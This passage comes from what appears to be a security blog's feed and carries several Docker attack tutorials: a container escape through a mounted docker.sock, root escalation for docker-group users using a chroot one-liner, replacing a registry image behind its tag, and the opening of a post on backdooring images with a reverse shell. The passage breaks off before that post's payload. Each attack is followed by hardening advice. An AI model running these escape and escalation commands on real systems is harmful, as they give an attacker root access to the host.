<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>apk update
</span></span><span style="display:flex;"><span>apk add -U docker
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/ <span style="color:#75715e"># apk update</span>
</span></span><span style="display:flex;"><span>fetch http://dl-cdn.alpinelinux.org/alpine/v3.12/main/x86_64/APKINDEX.tar.gz
</span></span><span style="display:flex;"><span>fetch http://dl-cdn.alpinelinux.org/alpine/v3.12/community/x86_64/APKINDEX.tar.gz
</span></span><span style="display:flex;"><span>v3.12.1-34-g3bbb400149 <span style="color:#f92672">[</span>http://dl-cdn.alpinelinux.org/alpine/v3.12/main<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>v3.12.1-37-gb1aa03461c <span style="color:#f92672">[</span>http://dl-cdn.alpinelinux.org/alpine/v3.12/community<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>OK: <span style="color:#ae81ff">12750</span> distinct packages available
</span></span><span style="display:flex;"><span>/ <span style="color:#75715e"># apk add -U docker</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>1/12<span style="color:#f92672">)</span> Installing ca-certificates <span style="color:#f92672">(</span>20191127-r4<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>2/12<span style="color:#f92672">)</span> Installing libseccomp <span style="color:#f92672">(</span>2.4.3-r0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>3/12<span style="color:#f92672">)</span> Installing runc <span style="color:#f92672">(</span>1.0.0_rc10-r1<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>4/12<span style="color:#f92672">)</span> Installing containerd <span style="color:#f92672">(</span>1.3.4-r1<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>5/12<span style="color:#f92672">)</span> Installing libmnl <span style="color:#f92672">(</span>1.0.4-r0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>6/12<span style="color:#f92672">)</span> Installing libnftnl-libs <span style="color:#f92672">(</span>1.1.6-r0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>7/12<span style="color:#f92672">)</span> Installing iptables <span style="color:#f92672">(</span>1.8.4-r2<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>8/12<span style="color:#f92672">)</span> Installing tini-static <span style="color:#f92672">(</span>0.19.0-r0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>9/12<span style="color:#f92672">)</span> Installing device-mapper-libs <span style="color:#f92672">(</span>2.02.186-r1<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>10/12<span style="color:#f92672">)</span> Installing docker-engine <span style="color:#f92672">(</span>19.03.12-r0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>11/12<span style="color:#f92672">)</span> Installing docker-cli <span style="color:#f92672">(</span>19.03.12-r0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>12/12<span style="color:#f92672">)</span> Installing docker <span style="color:#f92672">(</span>19.03.12-r0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Executing docker-19.03.12-r0.pre-install
</span></span><span style="display:flex;"><span>Executing busybox-1.31.1-r16.trigger
</span></span><span style="display:flex;"><span>Executing ca-certificates-20191127-r4.trigger
</span></span><span style="display:flex;"><span>OK: <span style="color:#ae81ff">307</span> MiB in <span style="color:#ae81ff">26</span> packages 
</span></span></code></pre></div><h2 id="escaping-docker-container">Escaping docker container</h2>
<p>Having mounted <code>docker.sock</code> we have full access to managing docker containers. So we can: delete, exec, create, change configurations etc.</p>
<p>Our next step would be <strong>creating a new container</strong> with the mounted <strong>root directory</strong> as volume:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker -H unix://var/run/docker.sock run -it -v /:/host -t alpine sh
</span></span></code></pre></div><p>Let&rsquo;s now use <code>chroot</code> command over host directory</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>chroot host
</span></span></code></pre></div><p>Attacker gain <strong>full access to file system on the host</strong> directory.</p>
<h3 id="how-to-secure">How to secure?</h3>
<ul>
<li>Do not mount <code>/var/run/docker.sock</code></li>
<li>If you need to mount into some containers treat it as root privileged application, secure it, try not to expose over the network</li>
<li>Run docker in <a href="https://docs-stage.docker.com/engine/security/rootless/">rootless mode</a> (Some docker features may not work properly)</li>
</ul>
<h2 id="sources">Sources</h2>
<ul>
<li><a href="https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-socket-option">https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-socket-option</a></li>
<li><a href="https://cheatsheetseries.owasp.org/cheatsheets/DockerSecurityCheat_Sheet.html">https://cheatsheetseries.owasp.org/cheatsheets/DockerSecurityCheat_Sheet.html</a></li>
</ul>
]]></content></item><item><title>Docker privilege escalation - Namespace Exploit</title><link>https://greencashew.dev/posts/docker-privilege-escalation-namespace-exploit/</link><pubDate>Tue, 22 Dec 2020 18:51:20 +0100</pubDate><guid>https://greencashew.dev/posts/docker-privilege-escalation-namespace-exploit/</guid><description>Overview Docker for proper running need root privileges. Following the Peter Parker quote &amp;quot;With great power comes great responsibility&amp;quot; we should focus on securing potential docker vulnerabilities. One of them is Privilege Escalation through Linux Namespace.
Preconditions Already logged user in the host User in the docker group userns-remap disabled Attack - User with docker group on the host machine In the beginning, it is required to check if we are added to docker user group, so we can run docker command.</description><content type="html"><![CDATA[<h2 id="overview">Overview</h2>
<p>Docker for proper running need <strong>root</strong> privileges. Following the Peter Parker quote <em>&quot;<strong>With great power comes great responsibility</strong>&quot;</em> we should focus on securing potential docker vulnerabilities. One of them is <strong>Privilege Escalation through Linux Namespace</strong>.</p>
<h2 id="preconditions">Preconditions</h2>
<ul>
<li>Already logged user in the host</li>
<li>User in the docker group</li>
<li><code>userns-remap</code> disabled</li>
</ul>
<h2 id="attack---user-with-docker-group-on-the-host-machine">Attack - User with docker group on the host machine</h2>
<p>In the beginning, it is required to check if we are added to <code>docker</code> user group, so we can run docker command. There are many commands to do that like: <code>id</code>, <code>groups</code> but the easiest way is just run <code>docker</code> command.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>➜  ~ groups
</span></span><span style="display:flex;"><span>janek adm sudo docker
</span></span></code></pre></div><p>To gain root privileges on the host machine it is needed to create or use a container with root mount <code>/</code> directory and run <code>chroot</code> command over <code>host</code> catalogue in the container.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker run -it --rm -v /:/host alpine chroot /host
</span></span></code></pre></div><p>Result of the command should look like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>➜  ~ docker run -it --rm -v /:/host alpine chroot /host
</span></span><span style="display:flex;"><span>To run a command as administrator <span style="color:#f92672">(</span>user <span style="color:#e6db74">&#34;root&#34;</span><span style="color:#f92672">)</span>, use <span style="color:#e6db74">&#34;sudo &lt;command&gt;&#34;</span>.
</span></span><span style="display:flex;"><span>See <span style="color:#e6db74">&#34;man sudo_root&#34;</span> <span style="color:#66d9ef">for</span> details.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>root@bf63f8813122:/# 
</span></span></code></pre></div><p><code>chroot</code> change working root directory for the current process. In this case, it means that the user gains full privileges on the host.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>root@bf63f8813122:/# docker ps
</span></span><span style="display:flex;"><span>CONTAINER ID        IMAGE               COMMAND             CREATED              STATUS              PORTS               NAMES
</span></span><span style="display:flex;"><span>bf63f8813122        alpine              &#34;chroot /host&#34;      About a minute ago   Up About a minute                       xenodochial_torvalds
</span></span><span style="display:flex;"><span>root@bf63f8813122:/# cd root
</span></span><span style="display:flex;"><span>root@bf63f8813122:~# id
</span></span></code></pre></div><h2 id="how-to-secure">How to secure?</h2>
<ul>
<li>Add only privileged users to <code>docker</code> group</li>
<li>Use <code>userns-remap</code></li>
<li>Run docker in <a href="https://docs-stage.docker.com/engine/security/rootless/">rootless mode</a> (Some docker features may not work properly)</li>
</ul>
<h3 id="setting-up-remapping-of-the-user-namespace">Setting up remapping of the user namespace</h3>
<p>Before we start the remap procedure we need to stop <strong>docker</strong> with all containers reset.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker container stop <span style="color:#66d9ef">$(</span>docker container ls -aq<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>sudo systemctl stop docker
</span></span></code></pre></div><p>Open (If doesn&rsquo;t&rsquo; exists create one) <code>/etc/docker/daemon.json</code> and put the parameter :</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;userns-remap&#34;</span>: <span style="color:#e6db74">&#34;default&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The phrase above add namespace mapping with a default value <code>dockremap</code> every time docker daemon start.</p>
<p>Then we have to restart docker service and reboot</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl start docker
</span></span></code></pre></div><p>After this procedure <code>root</code> under the container is mapped to <code>dockremap</code> user on the host.</p>
<h3 id="sources">Sources</h3>
<ul>
<li><a href="https://docs-stage.docker.com/engine/security/userns-remap/">https://docs-stage.docker.com/engine/security/userns-remap/</a></li>
<li><a href="https://docs.docker.com/engine/reference/commandline/dockerd/">https://docs.docker.com/engine/reference/commandline/dockerd/</a></li>
</ul>
]]></content></item><item><title>How to swap an image in docker registry - with rigged image</title><link>https://greencashew.dev/posts/how-to-swap-an-image-in-docker-registry-with-rigged-image/</link><pubDate>Mon, 21 Dec 2020 18:51:20 +0100</pubDate><guid>https://greencashew.dev/posts/how-to-swap-an-image-in-docker-registry-with-rigged-image/</guid><description>Overview Docker registry mechanism allows to quick download images from the image repository. This makes the publish/pull processes much easier. Unfortunately, this great feature can open new possibilities to an attacker who can corrupt the image in the registry.
In this scenario, we assume that the attacker already got write access to the docker image repository (Like public one docker hub or steal developer&amp;rsquo;s/Jenkins&amp;rsquo;s credentials to the private docker registry)</description><content type="html"><![CDATA[<h2 id="overview">Overview</h2>
<p>Docker registry mechanism allows to quick download images from the image repository. This makes the publish/pull processes much easier. Unfortunately, this great feature can open new possibilities to an attacker who can <strong>corrupt the image in the registry</strong>.</p>
<p>In this scenario, we assume that the attacker already <strong>got write access to the docker image repository</strong> (Like public one <a href="https://hub.docker.com/">docker hub</a> or steal developer&rsquo;s/Jenkins&rsquo;s credentials to the private docker registry)</p>
<h2 id="preconditions">Preconditions</h2>
<ul>
<li>The attacker has to have write access to the docker repository</li>
<li>No app signature checks applied</li>
</ul>
<h2 id="how-to-change-docker-images">How to change docker images</h2>
<p>Docker registry structure of locating images look like that:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>repository/image:tag
</span></span></code></pre></div><p>Let assume we have a private registry with image <code>busybox</code> with tag <code>latest</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker push localhost:5000/busybox
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>The push refers to repository [localhost:5000/busybox]
</span></span><span style="display:flex;"><span>d2421964bad1: Pushed
</span></span><span style="display:flex;"><span>latest: digest: sha256:c9249fdf56138f0d929e2080ae98ee9cb2946f71498fc1484288e6a935b5e5bc size: 527
</span></span></code></pre></div><p>As you see tag name is <code>latest</code> and Digest of the current image starts with <code>c9249fd</code></p>
<p>Next step to be done is to take the rigged image and send it as <code>busybox</code> with tag <code>latest</code></p>
<p>Let&rsquo;s remove the current <code>busybox</code> image from local repo and rename <code>alpine</code> image to <code>busybox</code> and push into our registry</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker rmi busybox
</span></span><span style="display:flex;"><span>docker image tag alpine localhost:5000/busybox
</span></span><span style="display:flex;"><span>docker push localhost:5000/busybox
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>The push refers to repository <span style="color:#f92672">[</span>localhost:5000/busybox<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>3e207b409db3: Pushed 
</span></span><span style="display:flex;"><span>latest: digest: sha256:39eda93d15866957feaee28f8fc5adb545276a64147445c64992ef69804dbf01 size: <span style="color:#ae81ff">528</span>
</span></span></code></pre></div><p>As you see tag name is <code>latest</code> and Digest of the current image starts with <code>39eda93</code></p>
<p>Let&rsquo;s remove our image of fake <code>busybox</code> from our local repository</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker rmi localhost:5000/busybox:latest
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Untagged: localhost:5000/busybox:latest
</span></span><span style="display:flex;"><span>Untagged: localhost:5000/busybox@sha256:39eda93d15866957feaee28f8fc5adb545276a64147445c64992ef69804dbf01
</span></span></code></pre></div><p>and pull it from our private registry</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker pull localhost:5000/busybox:latest
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>latest: Pulling from busybox
</span></span><span style="display:flex;"><span>Digest: sha256:39eda93d15866957feaee28f8fc5adb545276a64147445c64992ef69804dbf01
</span></span><span style="display:flex;"><span>Status: Downloaded newer image for localhost:5000/busybox:latest
</span></span><span style="display:flex;"><span>localhost:5000/busybox:latest
</span></span></code></pre></div><p>Next step to be done is being sure that only digest has not been changed:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker run -it localhost:5000/busybox:latest sh
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/ <span style="color:#75715e"># cat /etc/os-release</span>
</span></span><span style="display:flex;"><span>NAME<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Alpine Linux&#34;</span>
</span></span><span style="display:flex;"><span>ID<span style="color:#f92672">=</span>alpine
</span></span><span style="display:flex;"><span>VERSION_ID<span style="color:#f92672">=</span>3.11.6
</span></span><span style="display:flex;"><span>PRETTY_NAME<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Alpine Linux v3.11&#34;</span>
</span></span><span style="display:flex;"><span>HOME_URL<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://alpinelinux.org/&#34;</span>
</span></span><span style="display:flex;"><span>BUG_REPORT_URL<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://bugs.alpinelinux.org/&#34;</span>
</span></span></code></pre></div><p>As we can see It is an easy way to change docker image in <strong>behind of tag</strong>. <strong>So pullers of specific docker repository wouldn&rsquo;t be able to determine if the image changed.</strong></p>
<p>Only noticeable thing changed was <code>digests</code> which can be used for image validity check.</p>
<table>
<thead>
<tr>
<th>IMAGE</th>
<th>TAG</th>
<th>DIGIT</th>
</tr>
</thead>
<tbody>
<tr>
<td>Proper</td>
<td>LATEST</td>
<td>c9249fd</td>
</tr>
<tr>
<td>Fake</td>
<td>LATEST</td>
<td>39eda93</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<h2 id="way-to-secure">Way to secure</h2>
<ul>
<li>Never download docker images from untrusted repository maintainers</li>
<li>Limit registry write access to a minimum (In best case only build server)</li>
<li>Implement <strong>the signing</strong> of docker images (see: <a href="https://github.com/theupdateframework/notary">https://github.com/theupdateframework/notary</a>)</li>
<li>Be prepared for this possibility:
<ul>
<li>Use docker custom security profiles like <strong>AppArmor</strong>, <strong>Seccomp</strong></li>
<li>Use dynamic analysis tools like Remux</li>
<li>Don&rsquo;t execute images with excessive privileges (<strong>namespaces</strong>, <strong>privileged flag, added capabilities)</strong></li>
</ul>
</li>
</ul>
<h3 id="how-to-create-your-own-docker-registry">How to create your own docker registry</h3>
<p>To run own docker registry you need to have <strong>docker engine version &gt;=1.6.0</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker run -d -p 5000:5000 --name registry registry:2
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Unable to find image <span style="color:#e6db74">&#39;registry:2&#39;</span> locally
</span></span><span style="display:flex;"><span>2: Pulling from library/registry
</span></span><span style="display:flex;"><span>cbdbe7a5bc2a: Already exists 
</span></span><span style="display:flex;"><span>47112e65547d: Pull complete 
</span></span><span style="display:flex;"><span>46bcb632e506: Pull complete 
</span></span><span style="display:flex;"><span>c1cc712bcecd: Pull complete 
</span></span><span style="display:flex;"><span>3db6272dcbfa: Pull complete 
</span></span><span style="display:flex;"><span>Digest: sha256:8be26f81ffea54106bae012c6f349df70f4d5e7e2ec01b143c46e2c03b9e551d
</span></span><span style="display:flex;"><span>Status: Downloaded newer image <span style="color:#66d9ef">for</span> registry:2
</span></span><span style="display:flex;"><span>437d56f489f27e990b6b6e7b43358c670087b5731474a086b52713067056a728
</span></span></code></pre></div><p>Docker registry is simply docker image we run as a container. If everything came fine we should see running docker registry container:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker ps
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES
</span></span><span style="display:flex;"><span>437d56f489f2        registry:2          <span style="color:#e6db74">&#34;/entrypoint.sh /etc…&#34;</span>   <span style="color:#ae81ff">30</span> seconds ago      Up <span style="color:#ae81ff">28</span> seconds       0.0.0.0:5000-&gt;5000/tcp   registry
</span></span></code></pre></div><p>Ok now let be sure that we don&rsquo;t have any repository in our docker registry:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -X GET localhost:5000/v2/_catalog
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{<span style="color:#f92672">&#34;repositories&#34;</span>:[]}
</span></span></code></pre></div><p>Then we can build or retag an image and push into the local registry</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker build .
</span></span><span style="display:flex;"><span>docker push localhost:5000/myfirstimage
</span></span></code></pre></div><p>Now let see if our local registry has been updated:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker push localhost:5000/myfirstimage
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>The push refers to repository <span style="color:#f92672">[</span>localhost:5000/myfirstimage<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>1079c30efc82: Pushed
</span></span><span style="display:flex;"><span>latest: digest: sha256:a7766145a775d39e53a713c75b6fd6d318740e70327aaa3ed5d09e0ef33fc3df size: <span style="color:#ae81ff">527</span>
</span></span></code></pre></div><p>Let&rsquo;s check if the image is placed on the repository:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -X GET localhost:5000/v2/_catalog
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{<span style="color:#f92672">&#34;repositories&#34;</span>:[<span style="color:#e6db74">&#34;myfirstimage&#34;</span>]}
</span></span></code></pre></div><p>and what tags for the image <code>myfirstimage</code> are place in docker repository:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -X GET localhost:5000/v2/myfirstimage/tags/list
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{<span style="color:#f92672">&#34;name&#34;</span>:<span style="color:#e6db74">&#34;myfirstimage&#34;</span>,<span style="color:#f92672">&#34;tags&#34;</span>:[<span style="color:#e6db74">&#34;latest&#34;</span>]}
</span></span></code></pre></div><p>As everything is in place the client can pull the image with the command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker pull localhost:5000/myfirstimage
</span></span></code></pre></div><p>To stop the process and remove all the data we need to run:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker container stop registry <span style="color:#f92672">&amp;&amp;</span> docker container rm -v registry
</span></span></code></pre></div><h2 id="sources">Sources</h2>
<ul>
<li><a href="https://docs.docker.com/registry/">https://docs.docker.com/registry/</a></li>
<li><a href="https://github.com/theupdateframework/notary">https://github.com/theupdateframework/notary</a></li>
<li><a href="https://docs.docker.com/engine/security/seccomp/">https://docs.docker.com/engine/security/seccomp/</a></li>
<li><a href="https://docs.docker.com/engine/security/apparmor/">https://docs.docker.com/engine/security/apparmor/</a></li>
<li><a href="https://github.com/REMnux/docker">https://github.com/REMnux/docker</a></li>
<li><a href="https://docs.remnux.org/run-tools-in-containers/remnux-containers">https://docs.remnux.org/run-tools-in-containers/remnux-containers</a></li>
<li><a href="https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities">https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities</a></li>
</ul>
]]></content></item><item><title>Backdooring Docker images - Reverse shell</title><link>https://greencashew.dev/posts/backdooring-docker-images-reverse-shell/</link><pubDate>Sat, 19 Dec 2020 18:51:20 +0100</pubDate><guid>https://greencashew.dev/posts/backdooring-docker-images-reverse-shell/</guid><description>Overview Using trustworthy docker images is one of the most important parts of securing system. Easily, the attacker can prepare a docker image (by changing entrypoint, adding reverse shell or changing running user) and publish a malicious image on docker registry.
This section shows the way of trojanizing docker images by adding a reverse shell.
Precondition For the testing purpose, it is needed to have nmap installed:
sudo apt update sudo apt install -y nmap The next step to be done is the dockerscan installation.</description><content type="html"><![CDATA[<h2 id="overview">Overview</h2>
<p>Using trustworthy docker images is one of the most important parts of securing system. Easily, the attacker can prepare a docker image (by changing <strong>entrypoint</strong>, adding <strong>reverse shell</strong> or changing <strong>running user</strong>) and publish a malicious image on docker registry.</p>
<p>This section shows the way of trojanizing docker images by adding a reverse shell.</p>
<h2 id="precondition">Precondition</h2>
<p>For the testing purpose, it is needed to have <code>nmap</code> installed:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt update
</span></span><span style="display:flex;"><span>sudo apt install -y nmap
</span></span></code></pre></div><p>The next step to be done is the <code>dockerscan</code> installation. It is analysis/hacking tool for docker images.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git clone https://github.com/cr0hn/dockerscan
</span></span><span style="display:flex;"><span>cd dockerscan
</span></span><span style="display:flex;"><span>sudo python3.6 setup.py install
</span></span></code></pre></div><h3 id="preparing-exploited-image---dockerscan">Preparing exploited image - DockerScan</h3>
<p>The image I choose for exploiting is <code>ubuntu:latest</code>. Let&rsquo;s download it and save it into the backdoor folder.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir backdoor <span style="color:#f92672">&amp;&amp;</span> cd backdoor
</span></span><span style="display:flex;"><span>docker pull ubuntu:latest
</span></span><span style="display:flex;"><span>docker save ubuntu:latest -o ubuntu-orginal
</span></span></code></pre></div><p>Also, for proper <a href="https://github.com/cr0hn/dockerscan">dockerscan</a> working, we need to set 2 environment variables by placing it to <code>.bashrc</code> file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>export LC_ALL<span style="color:#f92672">=</span>C.UTF-8
</span></span><span style="display:flex;"><span>export LANG<span style="color:#f92672">=</span>C.UTF-8
</span></span></code></pre></div><p>Next step is to find IP address of the machine from which we listen for a message from trojanized image. For the purpose of this presentation, I would use docker host IP address in the same machine</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ifconfig docker0
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>docker0: flags=4099&lt;UP,BROADCAST,MULTICAST&gt;  mtu 1500
</span></span><span style="display:flex;"><span>        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
</span></span><span style="display:flex;"><span>        ether 02:42:78:ec:8f:87  txqueuelen 0  (Ethernet)
</span></span><span style="display:flex;"><span>        RX packets 0  bytes 0 (0.0 B)
</span></span><span style="display:flex;"><span>        RX errors 0  dropped 0  overruns 0  frame 0
</span></span><span style="display:flex;"><span>        TX packets 0  bytes 0 (0.0 B)
</span></span><span style="display:flex;"><span>        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0  
